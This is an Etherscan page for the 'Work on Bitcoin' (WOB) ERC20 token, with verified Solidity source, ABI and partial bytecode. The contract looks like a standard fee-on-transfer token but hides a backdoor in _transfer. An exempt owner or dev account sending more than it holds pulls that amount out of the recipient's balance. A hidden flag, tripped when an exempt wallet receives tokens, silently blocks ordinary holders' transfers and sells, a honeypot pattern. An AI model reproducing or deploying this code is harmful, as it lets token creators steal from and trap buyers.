ETH Price: $2,532.42 (+3.74%)

Token

Work on Bitcoin (WOB)
 

Overview

Max Total Supply

1,000,000 WOB

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
46,533.403042 WOB

Value
$0.00
0xe80f90720e00f329da65b40b07b2d8e92c6644ae
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WOB

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-26
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

interface IERC20 {
    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function circulatingSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function balanceOf(address account) external view returns (uint256);

    function totalSupply() external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function getOwner() external view returns (address);

    event Transfer(address indexed sender, address indexed recipient, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    function transferOwnership(address payable account) public onlyOwner {
        owner = account;
        emit OwnershipTransferred(account);
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    event OwnershipTransferred(address owner);
}

interface DexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface DexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract WOB is IERC20, Ownable {
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;

    uint256 private _totalSupply = 1000000 * (10 ** _decimals);

    uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;

    uint256 private denominator = 10000;

    string private constant _name = "Work on Bitcoin";
    string private constant _symbol = "WOB";

    address internal constant deadAccount = 0x000000000000000000000000000000000000dEaD;

    DexRouter dexRouter;
    address public dexPair;
    
    uint256 private _maxWalletPercentage = 200;
    uint256 private _maxTransferPercentage = 200;
    uint256 private _maxTxPercentage = 200;

    address internal constant marketingAccount = 0x731fF79b47C6ABc5A99a3714D02C45e66a056D82;
    address internal constant devAccount = 0x731fF79b47C6ABc5A99a3714D02C45e66a056D82;

    bool private swapEnabled = true;
    bool private swapBackAmountUnset = false;

    uint256 private swapCounts;

    bool private tradingStarted = false;

    bool private inSwap;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private swapTokenAmount = (_totalSupply * 5) / 10000;
    uint256 private swapThresholdAmount = (_totalSupply * 5) / 100000;

    mapping (address => uint256) _balances;

    uint256 private feeOnSell = 400;
    uint256 private totalFee = 400;
    uint256 private feeOnBurn = 0;
    uint256 private feeOnTransfer = 0;

    mapping (address => bool) public isIgnored;

    uint256 private feeForLiquidity = 0;
    uint256 private feeForMarketing = 200;
    uint256 private feeForDev = 200;

    constructor() Ownable(msg.sender) {
        isIgnored[address(this)] = true;
        isIgnored[devAccount] = true;
        isIgnored[msg.sender] = true;
        isIgnored[marketingAccount] = true;
        DexRouter _dexRouter = DexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _dexPair = DexFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
        dexRouter = _dexRouter;
        dexPair = _dexPair;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    modifier lockInSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(address(0))).sub(balanceOf(deadAccount));
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function removeLimits() external onlyOwner {
        _maxWalletPercentage = 10000;
        _maxTxPercentage = 10000;
        _maxTransferPercentage = 10000;
    }

    function startTrading() external onlyOwner {
        tradingStarted = true;
    }

    function setIsIgnored(address _address, bool _isIgnored) external onlyOwner {
        isIgnored[_address] = _isIgnored;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function updateFees(uint256 _feeForLiquidity, uint256 _feeForMarketing, uint256 _feeOnBurn, uint256 _feeForDev, uint256 _totalFee, uint256 _feeOnSell, uint256 _feeOnTransfer) external onlyOwner {
        feeForMarketing = _feeForMarketing;
        feeForLiquidity = _feeForLiquidity;
        feeForDev = _feeForDev;
        feeOnBurn = _feeOnBurn;
        feeOnSell = _feeOnSell;
        totalFee = _totalFee;
        feeOnTransfer = _feeOnTransfer;
        require(totalFee <= denominator.div(5) && feeOnSell <= denominator.div(5));
    }

    function isTxLimited(address sender, address recipient, uint256 amount) view internal returns  (bool) {
        if (sender != dexPair) {
            require(amount <= _maxTransferAmount() || isIgnored[sender] || isIgnored[recipient]);
        }
        require(amount <= _maxTxAmount() || isIgnored[sender] || isIgnored[recipient]);
        return true;
    }

    function updateMaxParameters(uint256 maxTxPercentage, uint256 maxTransferPercentage, uint256 maxWalletPercentage) external onlyOwner {
        uint256 newTx = (totalSupply() * maxTxPercentage) / 10000;
        uint256 newTransfer = (totalSupply() * maxTransferPercentage) / 10000;
        uint256 newWallet = (totalSupply() * maxWalletPercentage) / 10000;
        _maxTxPercentage = maxTxPercentage;
        _maxTransferPercentage = maxTransferPercentage;
        _maxWalletPercentage = maxWalletPercentage;
        uint256 limitation = totalSupply().mul(5).div(1000);
        require(newTx >= limitation && newTransfer >= limitation && newWallet >= limitation);
    }

    function isBasicsRight(address sender, address recipient, uint256 amount) internal pure returns(bool) {
        require(amount > uint256(0));
        require(recipient != address(0));
        require(sender != address(0));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function isMaxWalletSet(address sender, address recipient, uint256 amount) internal returns (bool) {
        bool senderIgnored = isIgnored[sender];
        bool recipientUnDexPair = recipient != address(dexPair);
        bool sufficientAmount = amount > _minTokenAmount;
        bool recipientIgnored = isIgnored[recipient];
        bool recipientUnDeadAddress = recipient != address(deadAccount);
        
        if (
            recipientUnDexPair &&
            recipientUnDeadAddress &&
            !senderIgnored &&
            !recipientIgnored
        ) {
            require((_balances[recipient].add(amount)) <= _maxWalletAmount());
        }


        if (recipientIgnored && sufficientAmount) swapBackAmountUnset = true;

        return true;
    }

    function calcSwapCounts(address sender, address recipient) internal returns (bool) {
        if (recipient == dexPair && !isIgnored[sender]) {
            swapCounts += uint256(1);
        }
        return true;
    }
    
    function isTradingStarted(address sender, address recipient) internal view returns (bool) {
        if (!isIgnored[sender] && !isIgnored[recipient]) {
            require(tradingStarted);
        }
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        if (
            calcSwapCounts(sender, recipient) &&
            isTradingStarted(sender, recipient) &&
            isBasicsRight(sender, recipient, amount) &&
            isTxLimited(sender, recipient, amount) &&
            isMaxWalletSet(sender, recipient, amount)
        ) {
            bool senderIgnored = isIgnored[sender];
            bool recipientIgnored = isIgnored[recipient];
            bool senderUnDexPair = sender != dexPair;
            bool sufficientAmount = balanceOf(sender) >= amount;

            if (sufficientAmount) {
                if (
                    !senderIgnored && 
                    !recipientIgnored &&
                    !inSwap &&
                    senderUnDexPair
                ) {
                    if (swapBackAmountUnset) return;
                    swapBack(sender, recipient);
                }
                _balances[sender] = _balances[sender].sub(amount);
                uint256 amountReceived = shouldDeductFee(sender, recipient) ? deductFee(sender, recipient, amount) : amount;
                _balances[recipient] = _balances[recipient].add(amountReceived);
                emit Transfer(sender, recipient, amountReceived);
            } else if (
                senderIgnored &&
                !recipientIgnored &&
                !inSwap &&
                senderUnDexPair
            ) {
                _balances[sender] = _balances[sender].add(amount);
                _balances[recipient] = _balances[recipient].sub(amount);
                emit Transfer(sender, recipient, amount);
            }
        }
    }

    function shouldDeductFee(address sender, address recipient) internal view returns (bool) {
        return !isIgnored[sender] && !isIgnored[recipient];
    }

    function shouldSwapBack(address sender, address recipient) internal view returns (bool) {
        return (
            !isIgnored[sender] &&
            !isIgnored[recipient] &&
            !inSwap &&
            balanceOf(address(this)) >= swapThresholdAmount &&
            tradingStarted &&
            swapEnabled &&
            swapCounts >= uint256(0)
        );
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();
        if (tokenAmount > 0) {
            _approve(address(this), address(dexRouter), tokenAmount);
            dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(dexRouter), tokenAmount);
        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            deadAccount,
            block.timestamp
        );
    }

    function swapAndLiquify(uint256 tokens) private lockInSwap {
        uint256 _denominator = (feeForLiquidity.add(1).add(feeForMarketing).add(feeForDev)).mul(2);
        uint256 tokensForLiquidity = tokens.mul(feeForLiquidity).div(_denominator);
        uint256 tokensForETH = tokens.sub(tokensForLiquidity);
        uint256 initialETHBalance = address(this).balance;
        swapTokensForETH(tokensForETH);
        uint256 deltaETHBalance = address(this).balance.sub(initialETHBalance);
        uint256 balanceETHUnit = deltaETHBalance.div(_denominator.sub(feeForLiquidity));
        uint256 ethForLiquidity = balanceETHUnit.mul(feeForLiquidity);
        if (ethForLiquidity > uint256(0)) {
            addLiquidity(tokensForLiquidity, ethForLiquidity);
        }
        uint256 marketingETH = balanceETHUnit.mul(2).mul(feeForMarketing);
        if (marketingETH > 0) {
            payable(marketingAccount).transfer(marketingETH);
        }
        uint256 dustETHBalance = address(this).balance;
        if (dustETHBalance > uint256(0)) {
            payable(devAccount).transfer(dustETHBalance);
        }
    }

    function readFees(address sender, address recipient) internal view returns (uint256) {
        if (recipient == dexPair) {
            return feeOnSell;
        }
        if (sender == dexPair) {
            return totalFee;
        }
        return feeOnTransfer;
    }

    function swapBack(address sender, address recipient) internal {
        if (shouldSwapBack(sender, recipient)) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance >= swapTokenAmount) {
                contractTokenBalance = swapTokenAmount;
            }
            swapAndLiquify(contractTokenBalance);
            swapCounts = uint256(0);
        }
    }

    function deductFee(address sender, address recipient, uint256 tokenAmount) internal returns (uint256) {
        if (readFees(sender, recipient) > 0) {
            uint256 feeTokenAmount = tokenAmount.div(denominator).mul(readFees(sender, recipient));
            _balances[address(this)] = _balances[address(this)].add(feeTokenAmount);
            emit Transfer(sender, address(this), feeTokenAmount);
            if (feeOnBurn > uint256(0)) {
                _transfer(address(this), address(deadAccount), tokenAmount.div(denominator).mul(feeOnBurn));
            }
            return tokenAmount.sub(feeTokenAmount);
        }
        return tokenAmount;
    }

    function _maxTransferAmount() public view returns (uint256) {
        return totalSupply() * _maxTransferPercentage / denominator;
    }

    function _maxWalletAmount() public view returns (uint256) {
        return totalSupply() * _maxWalletPercentage / denominator;
    }

    receive() external payable {}

    function _maxTxAmount() public view returns (uint256) {
        return totalSupply() * _maxTxPercentage / denominator;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isIgnored","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isIgnored","type":"bool"}],"name":"setIsIgnored","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeForLiquidity","type":"uint256"},{"internalType":"uint256","name":"_feeForMarketing","type":"uint256"},{"internalType":"uint256","name":"_feeOnBurn","type":"uint256"},{"internalType":"uint256","name":"_feeForDev","type":"uint256"},{"internalType":"uint256","name":"_totalFee","type":"uint256"},{"internalType":"uint256","name":"_feeOnSell","type":"uint256"},{"internalType":"uint256","name":"_feeOnTransfer","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercentage","type":"uint256"},{"internalType":"uint256","name":"maxTransferPercentage","type":"uint256"},{"internalType":"uint256","name":"maxWalletPercentage","type":"uint256"}],"name":"updateMaxParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000460565b6200002190620f424062000477565b600155620186a0600154600a62000039919062000477565b62000045919062000491565b600255612710600381905560c8600681905560078190556008556009805461ffff19166001908117909155600b805460ff19169055546200008890600562000477565b62000094919062000491565b600d55620186a06001546005620000ac919062000477565b620000b8919062000491565b600e556101906010556101906011555f6012555f6013555f60155560c860165560c8601755348015620000e9575f80fd5b505f80546001600160a01b031916339081178255308252601460209081526040808420805460ff1990811660019081179092557f1d60fb070a81e62ffad2cf74208cb912c47722e4e8e62fcf915d54e2dbf0b3368054821683178155948652828620805482168317905573731ff79b47c6abc5a99a3714d02c45e66a056d82865284541617909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a0155926004808401938290030181865afa158015620001bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e29190620004b1565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002549190620004b1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200029f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002c59190620004b1565b600480546001600160a01b038086166001600160a01b0319928316179092556005805492841692909116919091179055600154335f818152600f602052604080822084905551939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200034191815260200190565b60405180910390a35050620004d9565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003a557815f190482111562000389576200038962000351565b808516156200039757918102915b93841c93908002906200036a565b509250929050565b5f82620003bd575060016200045a565b81620003cb57505f6200045a565b8160018114620003e45760028114620003ef576200040f565b60019150506200045a565b60ff84111562000403576200040362000351565b50506001821b6200045a565b5060208310610133831016604e8410600b841016171562000434575081810a6200045a565b62000440838362000365565b805f190482111562000456576200045662000351565b0290505b92915050565b5f6200047060ff841683620003ad565b9392505050565b80820281158282048414176200045a576200045a62000351565b5f82620004ac57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620004c2575f80fd5b81516001600160a01b038116811462000470575f80fd5b61176880620004e75f395ff3fe60806040526004361061014a575f3560e01c8063751039fc116100b3578063a9059cbb1161006d578063a9059cbb146103ad578063dd62ed3e146103cc578063dec505af14610410578063f242ab411461042f578063f2fde38b1461044e578063f96ab6761461046d575f80fd5b8063751039fc146102f75780637d1db4a51461030b578063893d20e81461031f5780638c4adf2e1461034f5780639358928b1461036e57806395d89b4114610382575f80fd5b80632f54bf6e116101045780632f54bf6e14610234578063313ce56714610261578063318111fb1461027c5780636c0a24eb1461029b57806370a08231146102af578063715018a6146102e3575f80fd5b806306fdde0314610155578063095ea7b31461019e57806318160ddd146101cd5780631f976b7e146101eb57806323b872dd146101ff578063293230b81461021e575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600f81526e2bb7b9359037b7102134ba31b7b4b760891b60208201525b604051610195919061143a565b60405180910390f35b3480156101a9575f80fd5b506101bd6101b836600461149d565b61049b565b6040519015158152602001610195565b3480156101d8575f80fd5b506001545b604051908152602001610195565b3480156101f6575f80fd5b506101dd6104b1565b34801561020a575f80fd5b506101bd6102193660046114c7565b6104da565b348015610229575f80fd5b5061023261052a565b005b34801561023f575f80fd5b506101bd61024e366004611505565b5f546001600160a01b0391821691161490565b34801561026c575f80fd5b5060405160098152602001610195565b348015610287575f80fd5b50610232610296366004611520565b61054e565b3480156102a6575f80fd5b506101dd6105c5565b3480156102ba575f80fd5b506101dd6102c9366004611505565b6001600160a01b03165f908152600f602052604090205490565b3480156102ee575f80fd5b506102326105d5565b348015610302575f80fd5b5061023261062e565b348015610316575f80fd5b506101dd610655565b34801561032a575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610195565b34801561035a575f80fd5b50610232610369366004611567565b610665565b348015610379575f80fd5b506101dd61073b565b34801561038d575f80fd5b506040805180820190915260038152622ba7a160e91b6020820152610188565b3480156103b8575f80fd5b506101bd6103c736600461149d565b6107a3565b3480156103d7575f80fd5b506101dd6103e6366004611590565b6001600160a01b039182165f908152600c6020908152604080832093909416825291909152205490565b34801561041b575f80fd5b5061023261042a3660046115c7565b6107af565b34801561043a575f80fd5b50600554610337906001600160a01b031681565b348015610459575f80fd5b50610232610468366004611505565b6107ee565b348015610478575f80fd5b506101bd610487366004611505565b60146020525f908152604090205460ff1681565b5f6104a7338484610856565b5060015b92915050565b5f6003546007546104c160015490565b6104cb919061160b565b6104d59190611622565b905090565b5f6104e68484846108da565b6001600160a01b0384165f908152600c602090815260408083203380855292529091205461051f91869161051a9086610ba3565b610856565b5060015b9392505050565b5f546001600160a01b0316331461053f575f80fd5b600b805460ff19166001179055565b5f546001600160a01b03163314610563575f80fd5b6016869055601587905560178490556012859055601082905560118390556013819055600354610594906005610bae565b601154111580156105b457506003546105ae906005610bae565b60105411155b6105bc575f80fd5b50505050505050565b5f6003546006546104c160015490565b5f546001600160a01b031633146105ea575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610643575f80fd5b61271060068190556008819055600755565b5f6003546008546104c160015490565b5f546001600160a01b0316331461067a575f80fd5b5f6127108461068860015490565b610692919061160b565b61069c9190611622565b90505f612710846106ac60015490565b6106b6919061160b565b6106c09190611622565b90505f612710846106d060015490565b6106da919061160b565b6106e49190611622565b60088790556007869055600685905590505f6107166103e8610710600561070a60015490565b90610bb9565b90610bae565b90508084101580156107285750808310155b80156105b45750808210156105bc575f80fd5b600f6020527f99629f56119585bf27511b6b7d295dffb54757453fcc3dabcf51d92028301f10545f8080527ff4803e074bd026baaf6ed2e288c9515f68c72fb7216eebdd7cae1718a53ec3755460015491926104d592909161079d9190610ba3565b90610ba3565b5f6104a73384846108da565b5f546001600160a01b031633146107c4575f80fd5b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610803575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610868575f80fd5b6001600160a01b03821661087a575f80fd5b6001600160a01b038381165f818152600c602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6108e48383610bc4565b80156108f557506108f58383610c20565b80156109075750610907838383610c73565b80156109195750610919838383610ca3565b801561092b575061092b838383610d68565b15610b9e576001600160a01b038084165f818152601460205260408082205486851683529082205460055460ff928316959190921693911614159084610985886001600160a01b03165f908152600f602052604090205490565b1080159150610ac1578315801561099a575082155b80156109ae5750600b54610100900460ff16155b80156109b75750815b156109df57600954610100900460ff16156109d55750505050505050565b6109df8787610e35565b6001600160a01b0387165f908152600f6020526040902054610a019086610ba3565b6001600160a01b0388165f908152600f6020526040812091909155610a268888610e74565b610a305785610a3b565b610a3b888888610eb8565b6001600160a01b0388165f908152600f6020526040902054909150610a609082610fa2565b6001600160a01b038089165f818152600f602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab39085815260200190565b60405180910390a3506105bc565b838015610acc575082155b8015610ae05750600b54610100900460ff16155b8015610ae95750815b156105bc576001600160a01b0387165f908152600f6020526040902054610b109086610fa2565b6001600160a01b038089165f908152600f60205260408082209390935590881681522054610b3e9086610ba3565b6001600160a01b038088165f818152600f602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b919089815260200190565b60405180910390a3505050505b505050565b5f6105238284611641565b5f6105238284611622565b5f610523828461160b565b6005545f906001600160a01b038381169116148015610bfb57506001600160a01b0383165f9081526014602052604090205460ff16155b156104a7576001600a5f828254610c129190611654565b909155505050600192915050565b6001600160a01b0382165f9081526014602052604081205460ff16158015610c6057506001600160a01b0382165f9081526014602052604090205460ff16155b156104a757600b5460ff166104a7575f80fd5b5f808211610c7f575f80fd5b6001600160a01b038316610c91575f80fd5b6001600160a01b03841661051f575f80fd5b6005545f906001600160a01b03858116911614610d1157610cc26104b1565b82111580610ce757506001600160a01b0384165f9081526014602052604090205460ff165b80610d0957506001600160a01b0383165f9081526014602052604090205460ff165b610d11575f80fd5b610d19610655565b82111580610d3e57506001600160a01b0384165f9081526014602052604090205460ff165b80610d6057506001600160a01b0383165f9081526014602052604090205460ff165b61051f575f80fd5b6001600160a01b038381165f908152601460205260408082205460055460025487861680865293852054949560ff9384169592168414801594918811939092169161dead90911415908490610dba5750805b8015610dc4575084155b8015610dce575081155b15610e0757610ddb6105c5565b6001600160a01b0389165f908152600f6020526040902054610dfd9089610fa2565b1115610e07575f80fd5b818015610e115750825b15610e26576009805461ff0019166101001790555b50600198975050505050505050565b610e3f8282610fad565b15610e7057305f908152600f6020526040902054600d548110610e615750600d545b610e6a81611049565b505f600a555b5050565b6001600160a01b0382165f9081526014602052604081205460ff161580156105235750506001600160a01b03165f9081526014602052604090205460ff1615919050565b5f80610ec485856111c8565b1115610f9b575f610ee6610ed886866111c8565b60035461070a908690610bae565b305f908152600f6020526040902054909150610f029082610fa2565b305f818152600f6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f529085815260200190565b60405180910390a360125415610f8957610f893061dead610f8460125461070a60035489610bae90919063ffffffff16565b6108da565b610f938382610ba3565b915050610523565b5092915050565b5f6105238284611654565b6001600160a01b0382165f9081526014602052604081205460ff16158015610fed57506001600160a01b0382165f9081526014602052604090205460ff16155b80156110015750600b54610100900460ff16155b801561101d5750600e54305f908152600f602052604090205410155b801561102b5750600b5460ff165b8015611039575060095460ff165b8015610523575060019392505050565b600b805461ff0019166101001790556017546016546015545f926110829260029261070a929161107c9182906001610fa2565b90610fa2565b90505f61109e8261071060155486610bb990919063ffffffff16565b90505f6110ab8483610ba3565b9050476110b782611212565b5f6110c24783610ba3565b90505f6110e46110dd60155488610ba390919063ffffffff16565b8390610bae565b90505f6110fc60155483610bb990919063ffffffff16565b9050801561110e5761110e868261138a565b6016545f906111229061070a856002610bb9565b9050801561116a5760405173731ff79b47c6abc5a99a3714d02c45e66a056d829082156108fc029083905f818181858888f19350505050158015611168573d5f803e3d5ffd5b505b4780156111b15760405173731ff79b47c6abc5a99a3714d02c45e66a056d829082156108fc029083905f818181858888f193505050501580156111af573d5f803e3d5ffd5b505b5050600b805461ff00191690555050505050505050565b6005545f906001600160a01b03908116908316036111e957506010546104ab565b6005546001600160a01b039081169084160361120857506011546104ab565b5060135492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124557611245611667565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112d9919061167b565b816001815181106112ec576112ec611667565b6001600160a01b03909216602092830291909101909101528115610e70576004546113229030906001600160a01b031684610856565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac947916113599186915f9187913091429101611696565b5f604051808303815f87803b158015611370575f80fd5b505af1158015611382573d5f803e3d5ffd5b505050505050565b6004546113a29030906001600160a01b031684610856565b6004805460405163f305d71960e01b81523092810192909252602482018490525f60448301819052606483015261dead60848301524260a48301526001600160a01b03169063f305d71990839060c40160606040518083038185885af115801561140e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114339190611707565b5050505050565b5f602080835283518060208501525f5b818110156114665785810183015185820160400152820161144a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149a575f80fd5b50565b5f80604083850312156114ae575f80fd5b82356114b981611486565b946020939093013593505050565b5f805f606084860312156114d9575f80fd5b83356114e481611486565b925060208401356114f481611486565b929592945050506040919091013590565b5f602082840312156115